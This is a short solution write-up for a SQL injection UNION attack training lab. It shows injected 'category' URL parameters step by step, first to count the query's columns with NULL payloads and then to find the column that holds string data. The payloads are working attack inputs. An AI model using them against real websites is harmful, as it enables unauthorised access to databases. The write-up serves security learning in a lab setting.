Difficulty : Practitioner
🎯 Goal
To solve the lab, perform a SQL injection UNION attack that returns an additional row containing the value provided.
Value provided: ‘abc’
✅ Solution
First we need to know how many columns are returned by the query:
1
2
3
4
<website>/filter?category=Pets' UNION SELECT NULL-- # error!
<website>/filter?category=Pets' UNION SELECT NULL,NULL-- # error!
<website>/filter?category=Pets' UNION SELECT NULL,NULL,NULL-- # works
<website>/filter?category=Pets' UNION SELECT NULL,NULL,NULL,NULL-- # error!
We now know there are 3 columns. Time to find which one contains string data:
1
2
3
<website>/filter?category=Pets' UNION SELECT 'abc',NULL,NULL-- # error!
<website>/filter?category=Pets' UNION SELECT NULL,'abc',NULL-- # works
<website>/filter?category=Pets' UNION SELECT NULL,NULL,'abc'-- # error!
The second column contains string.